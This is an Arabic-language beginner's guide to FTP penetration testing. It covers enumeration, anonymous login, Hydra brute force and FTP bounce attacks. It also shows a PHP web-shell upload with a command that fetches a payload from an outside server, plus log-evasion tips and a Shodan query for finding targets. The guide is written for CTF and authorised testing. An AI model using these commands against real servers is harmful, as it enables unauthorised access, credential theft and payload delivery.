اختبار اختراق FTP — دليل شامل من الصفر للمبتدئين
ما هو FTP ولماذا يهمنا؟
FTP (File Transfer Protocol) هو بروتوكول قديم يُستخدم لنقل الملفات بين جهازين عبر الشبكة. الإشكالية الكبيرة؟ كل شيء ينتقل نصاً صريحاً (plain-text) — كلمة المرور، اسم المستخدم، الملفات — كل هذا يمكن التقاطه بسهولة.
| المعلومة | القيمة |
|---|---|
| البروتوكول | FTP — File Transfer Protocol |
| المنفذ الافتراضي | 21 (TCP) |
| نوع البيانات | نص صريح (غير مشفر) |
| طابع السطر الجديد | 0x0d 0x0a |
ملاحظة للمبتدئين: بسبب طابع السطر الجديد الخاص، أحياناً تحتاج للاتصال عبر
telnetأوnc -Cبدلاً من الأدوات المعتادة.
الاتصال النشط والسلبي — الفرق الأساسي
قبل أي شيء، يجب أن تفهم كيف يتصل FTP لأن هذا يؤثر على كيفية تعاملك معه.
الاتصال النشط (Active FTP)
- العميل يفتح الاتصال التحكمي من المنفذ
Nإلى المنفذ21على الخادم - العميل يستمع على المنفذ
N+1ويُرسل هذا الرقم للخادم - الخادم هو من يبدأ اتصال البيانات إلى المنفذ
N+1عند العميل
المشكلة: إذا كان عند العميل Firewall يمنع الاتصالات الواردة، الاتصال النشط سيفشل.
الاتصال السلبي (Passive FTP)
- العميل يفتح الاتصال التحكمي إلى المنفذ
21 - العميل يُرسل أمر
PASV - الخادم يُرسل رقم منفذ
Mمتاح - العميل هو من يبدأ اتصال البيانات إلى المنفذ
Mعلى الخادم
الفائدة: العميل هو من يبدأ كل الاتصالات، فلا مشكلة مع الـ Firewall.
مرحلة الاستطلاع (Enumeration)
الخطوة الأولى: Banner Grabbing
الـ Banner هو أول رد يُرسله الخادم — فيه معلومات قيّمة كالإصدار وأحياناً اسم النظام.
# الطريقة الأبسط
nc -vn <IP> 21
# إذا كان FTP يعمل على SSL/TLS
openssl s_client -connect crossfit.htb:21 -starttls ftp
فحص Nmap الشامل
sudo nmap -sV -p21 -sC -A 10.10.10.10
لتشغيل كل سكريبتات Nmap المتعلقة بـ FTP دفعة واحدة:
nmap --script ftp-* -p 21 <IP>
هذا يتحقق تلقائياً من: تسجيل الدخول المجهول، FTP Bounce، وإصدار الخادم.
استعلام معلومات الخادم مباشرةً
بعد الاتصال، يمكنك إرسال هذه الأوامر مباشرة للخادم:
HELP # يعرض كل الأوامر المدعومة
FEAT # يعرض الميزات والإضافات المفعّلة
STAT # معلومات عن حالة الخادم وإصداره
تسجيل الدخول المجهول (Anonymous Login)
هذا أول شيء تتحقق منه دائماً. كثير من خوادم FTP القديمة أو المُهيّأة بشكل خاطئ تسمح بالدخول بدون كلمة مرور حقيقية.
بيانات الدخول الشائعة:
anonymous:anonymousanonymous: (فراغ)ftp:ftp
ftp <IP>
# ثم أدخل:
# Username: anonymous
# Password: anonymous
بعد الدخول، الأوامر الأساسية:
ls -a # عرض كل الملفات بما فيها المخفية
binary # تبديل وضع النقل إلى ثنائي (ضروري للملفات غير النصية)
ascii # تبديل وضع النقل إلى نصي
get file.txt # تحميل ملف
put file.txt # رفع ملف
bye # الخروج
تلميح: دائماً استخدم
ls -a— الملفات المخفية موجودة وكثيراً ما تحتوي على معلومات مهمة.
الاتصال عبر lftp (للخوادم المشفرة)
إذا كان الخادم يستخدم SSL/TLS:
lftp
lftp :~> set ftp:ssl-force true
lftp :~> set ssl:verify-certificate no
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> login username Password
تحميل كل محتوى الخادم دفعة واحدة
# تحميل كل شيء (وضع سلبي)
wget -m ftp://anonymous:anonymous@10.10.10.98
# إذا كان وضع PASV معطلاً
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98
# إذا كانت كلمة المرور تحتوي أحرفاً خاصة
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
Brute Force — كسر كلمة المرور
إذا لم ينجح الدخول المجهول، جرّب قائمة كلمات المرور الافتراضية:
hydra -t 1 -l <Username> -P /path/to/passwords.txt -vV <IP> ftp
قائمة ممتازة للبداية: ftp-betterdefaultpasslist.txt
هجمة FTP Bounce
هذه الثغرة موجودة في خوادم FTP القديمة التي تدعم أمر PORT. الفكرة ببساطة: تجعل الخادم يتصل بأجهزة أخرى بدلاً منك.
ما الذي يمكن عمله؟
- فحص المنافذ عبر الخادم (تستخدم الخادم كـ proxy للفحص)
- التحدث مع بروتوكولات أخرى كـ HTTP أو FTP خوادم أخرى
- رفع طلبات HTTP ليُرسلها الخادم لأهداف أخرى
كيف تعمل الهجمة؟
- ارفع ملفاً نصياً يحتوي الطلب الذي تريد إرساله (HTTP أو FTP request)
- تذكر: فواصل السطور يجب أن تكون
0x0d 0x0a
- تذكر: فواصل السطور يجب أن تكون
- استخدم
REST Xلتخطي أي بيانات لا تريدها في بداية الملف - استخدم
PORTللإشارة إلى الخادم الهدف والمنفذ - استخدم
RETRلإرسال الملف عبر الاتصال المفتوح
PORT 127,0,0,1,0,80
# يأمر الخادم بالاتصال بـ 127.0.0.1 على المنفذ 80
EPRT |2|127.0.0.1|80|
# نفس الشيء لكن يدعم IPv6
ملاحظة: غالباً ستحصل على خطأ
Socket not writableلأن الاتصال لا يدوم بما يكفي. الحل: كرّر الطلب أكثر من مرة داخل الملف (حتى ~0.5MB) أو أضف بيانات “مالئة” لإطالة الاتصال.
رفع Web Shell عبر FTP (XAMPP/ProFTPD)
في بيئات XAMPP، كثيراً ما يكون جذر FTP مرتبطاً بـ /opt/lampp/htdocs — أي مجلد الويب مباشرة.
سيناريو الاستغلال:
- تسجيل الدخول بحساب ضعيف (
daemonأوnobody) - رفع Web Shell بصيغة PHP
- تشغيل الـ Shell عبر المتصفح وتحميل payload إضافي:
# مثال لأمر التشغيل عبر الـ Shell
webshell.php?cmd=wget -qO - http://<server>/.x/?x=x86
إذا لم يكن المجلد الحالي قابلاً للتنفيذ، جرّب الكتابة في
/tmp.
ملفات الإعداد المهمة (Post-Exploitation)
بعد الوصول للخادم، ابحث عن هذه الملفات:
/etc/vsftpd.conf
/etc/ftpusers
/etc/ftp.conf
/etc/proftpd.conf
إعدادات خطيرة في vsftpd
| الإعداد | الخطر |
|---|---|
anonymous_enable=YES | يسمح بالدخول المجهول |
anon_upload_enable=YES | يسمح للمجهول برفع ملفات |
anon_mkdir_write_enable=YES | يسمح للمجهول بإنشاء مجلدات |
write_enable=YES | يفعّل أوامر الكتابة (STOR, DELE, إلخ) |
no_anon_password=YES | لا يطلب كلمة مرور من المجهول |
مرجع سريع: أوامر FTP الأساسية
| الأمر | الوظيفة |
|---|---|
USER username | تسجيل اسم المستخدم |
PASS password | تسجيل كلمة المرور |
LIST | عرض محتوى المجلد الحالي |
LIST -R | عرض كل المجلدات بشكل تكراري |
RETR /path/file | تحميل ملف |
STOR /path/file | رفع ملف (يُستبدل إن وجد) |
APPE /path/file | رفع ملف (يُضاف للنهاية إن وجد) |
STOU /path/file | رفع ملف (لا يفعل شيئاً إن وجد) |
DELE /path/file | حذف ملف |
MKD /path | إنشاء مجلد |
PWD | عرض المجلد الحالي |
PASV | تفعيل الوضع السلبي |
TYPE i | تبديل النقل إلى ثنائي |
REST 6 | بدء الإرسال من البايت السادس |
QUIT | الخروج |
البحث عن أهداف عبر Shodan
ftp
port:21
⚠️ OPSEC — على ماذا تنتبه؟
FTP بروتوكول قديم وصاخب جداً من ناحية الـ logs. كل خطوة تقوم بها تقريباً تُسجَّل على الخادم.
| الإجراء | ما يتركه |
|---|---|
| محاولات الدخول الفاشلة | سجلات في /var/log/vsftpd.log أو /var/log/xferlog |
| Brute Force | عدد ضخم من المحاولات في وقت قصير — يُنبّه أي IDS |
| Anonymous Login | يُسجَّل باسم المستخدم anonymous مع IP المصدر |
| تحميل ملفات | كل ملف تحمّله يُسجَّل باسمه ووقته وحجمه |
| رفع ملفات | نفس الشيء — مع تسجيل المسار الكامل |
ما يجب مراعاته عملياً:
- Brute Force ببطء — استخدم
-t 1في Hydra لتجنب الـ lockout وتقليل الضجيج - لا تستخدم اسمك الحقيقي في Anonymous Login — بعض الخوادم تطلب إيميل كـ password وتسجّله
- FTP Bounce يُظهر IP الخادم الوسيط وليس IP هجومك — لكن الخادم الوسيط نفسه يحتفظ بسجل كامل للعملية
- في بيئات CTF هذا لا يهم — في بيئات حقيقية (pentest مرخّص) وثّق كل خطوة مسبقاً في تقريرك
كل ما تفعله على خادم FTP مسجّل. افترض دائماً أن شخصاً ما يراقب.
🛠️ أدوات لفحص FTP
| الأداة | الوصف | الأمر المباشر | الرابط |
|---|---|---|---|
| Nmap | فحص المنفذ 21 وتشغيل كل سكريبتات FTP تلقائياً | nmap --script ftp-* -p 21 <IP> | nmap.org |
| Hydra | Brute Force على بيانات دخول FTP | hydra -l user -P passwords.txt ftp://<IP> | GitHub |
| Metasploit | فحص Anonymous Login وإصدار الخادم | use auxiliary/scanner/ftp/anonymous | metasploit.com |
| lftp | عميل FTP متقدم يدعم SSL/TLS والجلسات المشفرة | lftp -u user,pass <IP> | lftp.yar.ru |
| wget | تحميل كامل محتوى الخادم دفعة واحدة | wget -m ftp://anonymous:anonymous@<IP> | مدمجة في Linux |
| openssl | اختبار اتصال FTP المشفر عبر STARTTLS | openssl s_client -connect <IP>:21 -starttls ftp | مدمجة في Linux |